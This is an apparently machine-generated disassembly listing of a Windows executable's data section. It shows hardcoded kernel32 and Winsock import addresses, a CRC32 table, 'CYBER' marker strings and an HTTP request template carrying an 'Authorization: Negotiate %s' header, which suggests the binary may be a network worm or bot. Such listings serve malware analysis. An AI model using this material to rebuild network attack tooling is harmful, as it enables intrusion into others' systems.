dword_424098	dd 77E74CABh		; DATA XREF: sub_40121E+19Br
					; sub_40EC19+10Fr ...
dword_42409C	dd 77E79F93h		; DATA XREF: sub_40121E+D3r
					; sub_408C5C+2r ...
dword_4240A0	dd 77E79D5Bh		; DATA XREF: sub_40121E+6Br
					; sub_40121E+2FFr ...
dword_4240A4	dd 77E7C2C4h		; DATA XREF: sub_40121E+64r
dword_4240A8	dd 77E7751Ah		; DATA XREF: sub_40121E+2Cr
					; sub_401AA1+2091r ...
dword_4240AC	dd 77E75CEBh		; DATA XREF: sub_401AA1+6CC0r
					; sub_40A26B+27r ...
dword_4240B0	dd 77E6AD34h		; DATA XREF: sub_401AA1+5FB7r
					; sub_415972+35r
dword_4240B4	dd 77E71AFEh		; DATA XREF: sub_401AA1+5EADr
dword_4240B8	dd 77E805D8h		; DATA XREF: sub_408C5C+13Ar
					; sub_408C5C:loc_409110r ...
dword_4240BC	dd 77E7A5FDh		; DATA XREF: sub_408C5C+11r
					; sub_415CED+5Ar ...
dword_4240C0	dd 77E65F4Ch		; DATA XREF: .nsp0:00409E5Fr
					; sub_416C68+34r
dword_4240C4	dd 77E7513Ch		; DATA XREF: .nsp0:00409ECCr
dword_4240C8	dd 77E7C657h		; DATA XREF: .nsp0:00409F40r
					; sub_415AFA+32r ...
dword_4240CC	dd 77E73C49h		; DATA XREF: sub_40A19B+4Ar
					; sub_40A8BF+1ACr ...
dword_4240D0	dd 77F7E300h		; DATA XREF: sub_40B14D+130r
dword_4240D4	dd 77F7E21Fh		; DATA XREF: sub_40B14D+C5r
dword_4240D8	dd 77E7C706h		; DATA XREF: sub_40B361+77r
dword_4240DC	dd 77F53275h		; DATA XREF: sub_40B361+6Br
					; sub_40B361+241r
dword_4240E0	dd 77E79D8Ch		; DATA XREF: sub_40C924+94r
					; sub_40CA12+17Er ...
dword_4240E4	dd 77E737DEh		; DATA XREF: sub_40CA12+44Ar
dword_4240E8	dd 77E78B82h		; DATA XREF: sub_40CA12+19Cr
					; sub_40CA12+4B0r ...
dword_4240EC	dd 77E7A837h		; DATA XREF: sub_40CA12+A4r
					; sub_40D5AA+1CBr ...
dword_4240F0	dd 77E73EACh		; DATA XREF: sub_40D5AA+1FCr
dword_4240F4	dd 77E616B4h		; DATA XREF: sub_40DAAA+19Br
					; sub_410214+119r ...
dword_4240F8	dd 77E79CE3h		; DATA XREF: sub_40DAAA+111r
					; sub_410462+77r ...
dword_4240FC	dd 77E79C90h		; DATA XREF: sub_40DAAA+FDr
					; sub_40DAAA+10Ar ...
dword_424100	dd 77E7727Ah		; DATA XREF: sub_40DAAA+74r
					; sub_410369+23r ...
dword_424104	dd 77E64106h		; DATA XREF: sub_40EA9D+9Fr
					; sub_4179BF+1B6r
dword_424108	dd 77E64006h		; DATA XREF: sub_40EA9D+8Br
					; sub_4179BF+19Fr
dword_42410C	dd 77E793EFh		; DATA XREF: sub_40EC19+1EDr
					; sub_40F549+38r
dword_424110	dd 77E78EAAh		; DATA XREF: sub_40EEC8+5EDr
dword_424114	dd 77E794BFh		; DATA XREF: sub_40EEC8+26Cr
dword_424118	dd 77E75E67h		; DATA XREF: sub_40EEC8+20Cr
					; sub_40EEC8+5DCr
dword_42411C	dd 77E75D9Eh		; DATA XREF: sub_40EEC8+1FBr
dword_424120	dd 77E78C81h		; DATA XREF: sub_40F549+6Cr
					; sub_41F3C4+4Fr
dword_424124	dd 77E76968h		; DATA XREF: sub_40FF8D+5Fr
dword_424128	dd 77E74C59h		; DATA XREF: sub_410214+CBr
dword_42412C	dd 77EC7C51h		; DATA XREF: sub_4105D9+4Br
dword_424130	dd 77E802FCh		; DATA XREF: sub_4118C8+18Cr
					; sub_4118C8+2D4r ...
dword_424134	dd 77E6D75Bh		; DATA XREF: sub_4118C8+182r
					; sub_41261D+FFr
dword_424138	dd 77E70F89h		; DATA XREF: sub_413F3A+Dr
					; sub_419DE1+Dr
dword_42413C	dd 77E76A60h		; DATA XREF: sub_415765+2Dr
dword_424140	dd 77E71B14h		; DATA XREF: sub_4157EF+26r
dword_424144	dd 77E7166Fh		; DATA XREF: sub_4157EF+1Dr
dword_424148	dd 77E75090h		; DATA XREF: sub_41582A+69r
dword_42414C	dd 77E74D76h		; DATA XREF: sub_41582A+36r
dword_424150	dd 77E77797h		; DATA XREF: sub_41582A+25r
dword_424154	dd 77E7011Ah		; DATA XREF: sub_4158AC+96r
dword_424158	dd 77E73CE2h		; DATA XREF: sub_4158AC+60r
dword_42415C	dd 77E668D9h		; DATA XREF: sub_415972+15Dr
dword_424160	dd 77E80618h		; DATA XREF: sub_415CED+C3r
dword_424164	dd 77E79924h		; DATA XREF: sub_41F5B6+20Dr
					; sub_41FCE7+7Er ...
dword_424168	dd 77E77CCEh		; DATA XREF: sub_416325+Fr
					; sub_41A414+54r ...
dword_42416C	dd 77E76A2Eh		; DATA XREF: sub_416D91+D3r
dword_424170	dd 77E7FF65h		; DATA XREF: sub_4171D8+5Ar
dword_424174	dd 77EB7624h		; DATA XREF: sub_4171D8+3Dr
dword_424178	dd 77E76C1Ah		; DATA XREF: sub_4179BF+1CFr
dword_42417C	dd 77F51597h		; DATA XREF: sub_417E11+60r
					; sub_41AA82+2C5r ...
dword_424180	dd 77F5722Fh		; DATA XREF: sub_417F62+110r
					; sub_417F62+22Dr ...
dword_424184	dd 77F516F8h		; DATA XREF: sub_417F62+C6r
					; sub_417F62+1EEr ...
dword_424188	dd 77F6183Eh		; DATA XREF: sub_4233DCr
dword_42418C	dd 77E76E3Dh		; DATA XREF: sub_419DE1+6Cr
					; sub_4213FC+38r
dword_424190	dd 77E61608h		; DATA XREF: sub_419DE1+17r
dword_424194	dd 77E6177Ah		; DATA XREF: sub_41A513+9Fr
					; sub_41FE19+59r
dword_424198	dd 77E7C938h		; DATA XREF: sub_41A513+74r
dword_42419C	dd 77E7C486h		; DATA XREF: sub_41A513+26r
dword_4241A0	dd 77E7AC5Eh		; DATA XREF: sub_41A86A+54r
dword_4241A4	dd 77E76E0Bh		; DATA XREF: sub_41A9B2+50r
dword_4241A8	dd 77E7C726h		; DATA XREF: sub_41A9B2+11r
dword_4241AC	dd 77E79E34h		; DATA XREF: sub_41AA82+240r
					; sub_41B556+120r ...
dword_4241B0	dd 77E7980Ah		; DATA XREF: sub_41B0B4+76r
					; sub_41B165+51r ...
dword_4241B4	dd 77E73196h		; DATA XREF: sub_42139C+Cr
dword_4241B8	dd 77E7849Fh		; DATA XREF: sub_41CA89+48r
					; sub_41CCC8+14r ...
dword_4241BC	dd 77E7A13Fh		; DATA XREF: sub_41CC22+2Fr
		dd 0
dword_4241C4	dd 71B2ACCBh		; DATA XREF: sub_417D3Ar
		dd 0
dword_4241CC	dd 71AB4122h		; DATA XREF: sub_4138EC+D4r
dword_4241D0	dd 71AB1746h		; DATA XREF: sub_411439+1DEr
					; sub_411439+1F0r
dword_4241D4	dd 71AB401Ch		; DATA XREF: sub_411439+21Br
dword_4241D8	dd 71AB1836h		; DATA XREF: sub_40E550+6Er
					; sub_40E5CD+8Er
dword_4241DC	dd 71AB41DAh		; DATA XREF: sub_40DF38+4Ar
					; sub_40E550+15r
dword_4241E0	dd 71AB155Ah		; DATA XREF: sub_40DF38+8Dr
					; sub_412484+6Er ...
dword_4241E4	dd 71AB3ECEh		; DATA XREF: sub_40DF38+B5r
dword_4241E8	dd 71AB5DE2h		; DATA XREF: sub_40DF38+C9r
dword_4241EC	dd 71AB868Dh		; DATA XREF: sub_40DF38+16Fr
dword_4241F0	dd 71AB5A01h		; DATA XREF: sub_4139D5+22r
dword_4241F4	dd 71AB1746h		; DATA XREF: sub_40CFB7+3Dr
					; sub_40D876+36r ...
dword_4241F8	dd 71AB3E5Dh		; DATA XREF: sub_40CFB7+50r
					; sub_40D876+59r ...
dword_4241FC	dd 71AB3F8Dh		; DATA XREF: sub_40CFB7+7Br
					; sub_40DF38+5Ar
dword_424200	dd 71AB5690h		; DATA XREF: sub_40CFB7+B5r
					; sub_40CFB7+28Br ...
dword_424204	dd 71AB1A6Dh		; DATA XREF: sub_40CFB7+26Fr
					; sub_40CFB7:loc_40D40Dr ...
dword_424208	dd 71AB3C22h		; DATA XREF: .nsp0:0040C38Fr
					; sub_40CFB7+15r ...
dword_42420C	dd 71AB1AF4h		; DATA XREF: sub_40BFE8+12r
					; sub_40CFB7+A4r ...
dword_424210	dd 71AB1890h		; DATA XREF: sub_40BE45+4Cr
					; sub_40DF38+106r
dword_424214	dd 71AB1B7Bh		; DATA XREF: sub_4233D6r
dword_424218	dd 71AB157Eh		; DATA XREF: sub_401AA1+2A26r
dword_42421C	dd 71AB12F8h		; DATA XREF: sub_40CFB7+2Cr
					; sub_40D876+27r ...
		dd 2 dup(0)
dword_424228	dd 0			; DATA XREF: sub_401071+24r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber		db 'CYBER',0            ; DATA XREF: sub_401AA1+2F05o
					; sub_401AA1+2FE8o ...
		align 10h
aCyber_0	db 'CYBER',0            ; DATA XREF: sub_401AA1+330Co
					; sub_401AA1+3348o ...
		align 4
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40C225+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_424678	dq 1.388888888888889e-2	; DATA XREF: sub_40C03A+2Fr
dbl_424680	dq 1.666666666666667e-1	; DATA XREF: sub_40C03A+15r
dbl_424688	dq 1.333333333333333	; DATA XREF: sub_40C086+7Ar
dword_424690	dd 0			; DATA XREF: sub_40C225+4Do
					; sub_40C565+57o ...
flt_424694	dd 5.0e-1		; DATA XREF: sub_40CA12+3A5r
dbl_424698	dq 9.765625e-4		; DATA XREF: sub_4142F9+2B8r
					; sub_4142F9+2CDr ...
dbl_4246A0	dq -1.52587890625e-4	; DATA XREF: sub_414F6D+3D3r
dbl_4246A8	dq 3.0517578125e-4	; DATA XREF: sub_414F6D+3B4r
dbl_4246B0	dq -3.0517578125e-4	; DATA XREF: sub_414F6D+332r
					; sub_414F6D+396r
dbl_4246B8	dq 1.52587890625e-4	; DATA XREF: sub_414F6D+26Dr
dbl_4246C0	dq -1.739501953125e-3	; DATA XREF: sub_414F6D+248r
					; sub_414F6D+2D1r ...
dbl_4246C8	dq 3.11279296875e-3	; DATA XREF: sub_414F6D+E1r
dbl_4246D0	dq 3.0517578125e-5	; DATA XREF: sub_414F6D+AEr
					; sub_414F6D+137r ...
dbl_4246D8	dq 6.103515625e-5	; DATA XREF: sub_414F6D+93r
					; sub_414F6D+2FDr
dbl_4246E0	dq 2.288818359375e-3	; DATA XREF: sub_414F6D+21r
dbl_4246E8	dq -3.0517578125e-5	; DATA XREF: sub_415DD7+2Br
flt_4246F0	dd 9.765625e-4		; DATA XREF: sub_4174FC+1B0r
flt_4246F4	dd 8.0			; DATA XREF: sub_4174FC+1AAr
flt_4246F8	dd 0.0			; DATA XREF: sub_4174FC+16Fr
flt_4246FC	dd 1.0e-3		; DATA XREF: sub_4174FC+166r
dbl_424700	dq 1.0			; DATA XREF: sub_4193D9+6Cr
					; sub_41951F+6Cr ...
dword_424708	dd 0FFFFFFFFh, 41A5EAh,	41A5FEh	; DATA XREF: sub_41A513+5o
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_41A86A+8Eo
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_41A86A+4Fo
		align 4
byte_424744	db 6			; DATA XREF: sub_41C27F:loc_41C2D6r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: .nsp0:off_43F4A4o
		unicode	0, <(null)>,0
		align 10h
aNull_0		db '(null)',0           ; DATA XREF: .nsp0:off_43F4A0o
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 10h
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: .nsp0:off_43F71Co
		align 10h
dbl_424870	dq 0.0			; DATA XREF: sub_41DF3F+8Cr
					; sub_41DF3F+ACr ...
dbl_424878	dq 4.195835e6		; DATA XREF: sub_41E454+Fr
dbl_424880	dq 3.145727e6		; DATA XREF: sub_41E454+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41E492+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_41E492o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_41E5B9+93o
		align 4
dword_4248B8	dd 0FFFFFFFFh, 41ECA4h,	41ECAEh, 0 ; DATA XREF:	sub_41EC3D+5o
dword_4248C8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41ED6C+5o
		dd offset loc_41EE2A
		align 8
		dd offset sub_41EE08
		dd offset sub_41EE12
dword_4248E0	dd 0FFFFFFFFh, 41F05Ah,	41F05Eh, 0 ; DATA XREF:	sub_41EEA2+5o
dword_4248F0	dd 0FFFFFFFFh, 41F0BCh,	41F0C5h, 0 ; DATA XREF:	sub_41F066+5o
dword_424900	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41F13C+5o
		dd offset loc_41F18D
		align 10h
		dd offset loc_41F179
		dd offset loc_41F17D
dword_424918	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41F192+5o
		dd offset loc_41F1E3
		align 8
		dd offset loc_41F1CF
		dd offset loc_41F1D3
dword_424930	dd 2 dup(0)		; DATA XREF: sub_41F5B6+36o
					; sub_4208F4+39o ...
dword_424938	dd 0FFFFFFFFh, 41F6C6h,	41F6CAh, 0FFFFFFFFh, 41F77Ah, 41F77Eh
					; DATA XREF: sub_41F5B6+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .nsp0:off_43FB6Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4200DD+119o
		align 10h
asc_424C00	db 0Ah			; DATA XREF: sub_4200DD+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4200DD+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_4200DD+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4200DD+7Do
		align 10h
dword_424C40	dd 0FFFFFFFFh, 4209EDh,	4209F1h	; DATA XREF: sub_4208F4+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_4213FC+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_421A91+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_421A91+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_421A91+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4222D2:loc_4223C7o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_4222D2+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_4222D2+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4222D2+ADo
		align 10h
dword_424CE0	dd 0FFFFFFFFh, 422CCAh,	422CCEh, 0FFFFFFFFh, 422D39h, 422D3Dh
					; DATA XREF: sub_422B13+5o
		dd 424E08h
off_424CFC	dd offset loc_423278	; DATA XREF: sub_423080+4Do
					; sub_423294+Co
		dd offset sub_42313E
		dd offset sub_42325B
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_423080+1Eo
		dd offset dword_424E40
off_424D1C	dd offset loc_4231A5	; DATA XREF: sub_4230DA+4Eo
					; sub_423168+11o ...
		dd offset sub_42313E
		dd offset sub_42314B
dword_424D28	dd 0FFFFFFFFh		; DATA XREF: sub_4230DA+3Br
					; sub_4231C1+34r
		dd offset dword_424E90
off_424D30	dd offset loc_423360	; DATA XREF: sub_4232AC+4Do
					; sub_42337C+Co
		dd offset sub_42313E
		dd offset sub_423343
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_4232AC+1Eo
		dd offset dword_424EC0
off_424D58	dd offset sub_4233E2	; DATA XREF: sub_4233FE+8o
					; sub_42343B+8o ...
		dd offset sub_42349B
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_42349B+7o
		align 4
		dd offset dword_424F08
off_424D78	dd offset loc_4234BD	; DATA XREF: sub_4234A8o
					; .nsp0:off_440018o ...
		align 10h
dword_424D80	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_4234D9+Eo
		dd 3, 19930520h, 2 dup(0)
off_424DA0	dd offset off_440018	; DATA XREF: .nsp0:00424DF0o
					; .nsp0:00424E24o ...
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_424DB8	dd offset off_440030	; DATA XREF: .nsp0:00424DECo
					; .nsp0:00424E20o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_424DD0	dd offset off_440050	; DATA XREF: .nsp0:00424DE8o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_424DD0
		dd offset off_424DB8
		dd offset off_424DA0
		dd 0
		db    0			; DATA XREF: .nsp0:00424E18o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 424DE8h, 3 dup(0)
		dd offset off_440050
		dd offset unk_424DF8
		align 10h
		dd offset off_424DB8
		dd offset off_424DA0
dword_424E28	dd 4 dup(0)		; DATA XREF: .nsp0:00424E50o
		dd 2, 424E20h
dword_424E40	dd 3 dup(0)		; DATA XREF: .nsp0:00424D18o
		dd offset off_440030
		dd offset dword_424E28+8
		align 8
off_424E58	dd offset off_440070	; DATA XREF: .nsp0:00424E70o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_424E58
		dd offset off_424DB8
		dd offset off_424DA0
dword_424E7C	dd 3 dup(0)		; DATA XREF: .nsp0:00424EA0o
		dd 3, 424E70h
dword_424E90	dd 3 dup(0)		; DATA XREF: .nsp0:00424D2Co
		dd offset off_440070
		dd offset dword_424E7C+4
		dd offset off_424DA0
dword_424EA8	dd 4 dup(0)		; DATA XREF: .nsp0:00424ED0o
		dd 1, 424EA4h
dword_424EC0	dd 3 dup(0)		; DATA XREF: .nsp0:00424D54o
		dd offset off_440018
		dd offset dword_424EA8+8
		dd 0
off_424ED8	dd offset off_440090	; DATA XREF: .nsp0:00424EF0o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_424ED8
		dd 0
		db    0			; DATA XREF: .nsp0:00424F18o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 424EF0h
dword_424F08	dd 3 dup(0)		; DATA XREF: .nsp0:00424D74o
		dd offset off_440090
		dd offset unk_424EF8
		align 10h
		dd 0FFFFFFFFh, 42351Ch,	0
		dd offset sub_423514
dword_424F30	dd 19930520h, 2, 424F20h, 4 dup(0) ; DATA XREF:	.nsp0:loc_423533o
		dd 0FFFFFFFFh, 423540h,	0
		dd offset loc_423548
dword_424F5C	dd 19930520h, 2, 424F4Ch, 4 dup(0) ; DATA XREF:	.nsp0:loc_423550o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 4 dup(0)
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0C7h, 40h, 0
		align 10h
		dd 2 dup(1), 424F88h
dword_424FAC	dd 19930520h, 2, 424F78h, 1, 424F98h, 3	dup(0)
					; DATA XREF: .nsp0:loc_42355Co
		dd offset off_440018
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42343Bh, 2 dup(0)
		dd offset off_440030
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	4231C1h, 2 dup(0)
		dd offset off_440050
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	423294h, 0
dword_425028	dd 3, 425008h, 424FE8h,	424FC8h	; DATA XREF: .nsp0:00425044o
dword_425038	dd 0			; DATA XREF: sub_423080+47o
					; sub_42325B+12o
		dd offset sub_42321E
		dd 0
		dd offset dword_425028
dword_425048	dd 19930520h, 1, 425068h, 5 dup(0) ; DATA XREF:	.nsp0:loc_423570o
		dd 0FFFFFFFFh, 423568h
dword_425070	dd 19930520h, 1, 425090h, 5 dup(0) ; DATA XREF:	.nsp0:loc_423584o
dword_425090	dd 0FFFFFFFFh, 42357Ch,	2, 424FE8h, 424FC8h, 0 ; DATA XREF: .nsp0:004250B4o
dword_4250A8	dd 0			; DATA XREF: sub_42314B+12o
		dd offset sub_423168
		dd 0
		dd offset dword_425090+8
dword_4250B8	dd 19930520h, 1, 4250D8h, 5 dup(0) ; DATA XREF:	.nsp0:loc_423598o
		dd 0FFFFFFFFh, 423590h
dword_4250E0	dd 19930520h, 1, 425100h, 5 dup(0) ; DATA XREF:	.nsp0:loc_4235ACo
		dd 0FFFFFFFFh, 4235A4h
dword_425108	dd 19930520h, 1, 425128h, 5 dup(0) ; DATA XREF:	.nsp0:loc_4235C0o
		dd 0FFFFFFFFh, 4235B8h,	0
		dd offset off_440070
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	42337Ch, 0
dword_425150	dd 3, 425130h, 424FE8h,	424FC8h	; DATA XREF: .nsp0:0042516Co
dword_425160	dd 0			; DATA XREF: sub_4232AC+47o
					; sub_423343+12o
		dd offset sub_423306
		dd 0
		dd offset dword_425150
dword_425170	dd 19930520h, 1, 425190h, 5 dup(0) ; DATA XREF:	.nsp0:loc_4235D4o
		dd 0FFFFFFFFh, 4235CCh
dword_425198	dd 19930520h, 1, 4251B8h, 5 dup(0) ; DATA XREF:	.nsp0:loc_4235E8o
		dd 0FFFFFFFFh, 4235E0h,	0Dh dup(0)
dword_4251F4	dd 25C6Ah, 24000h, 381h	dup(0)
dword_426000	dd 0			; DATA XREF: sub_4184E4+1Fo
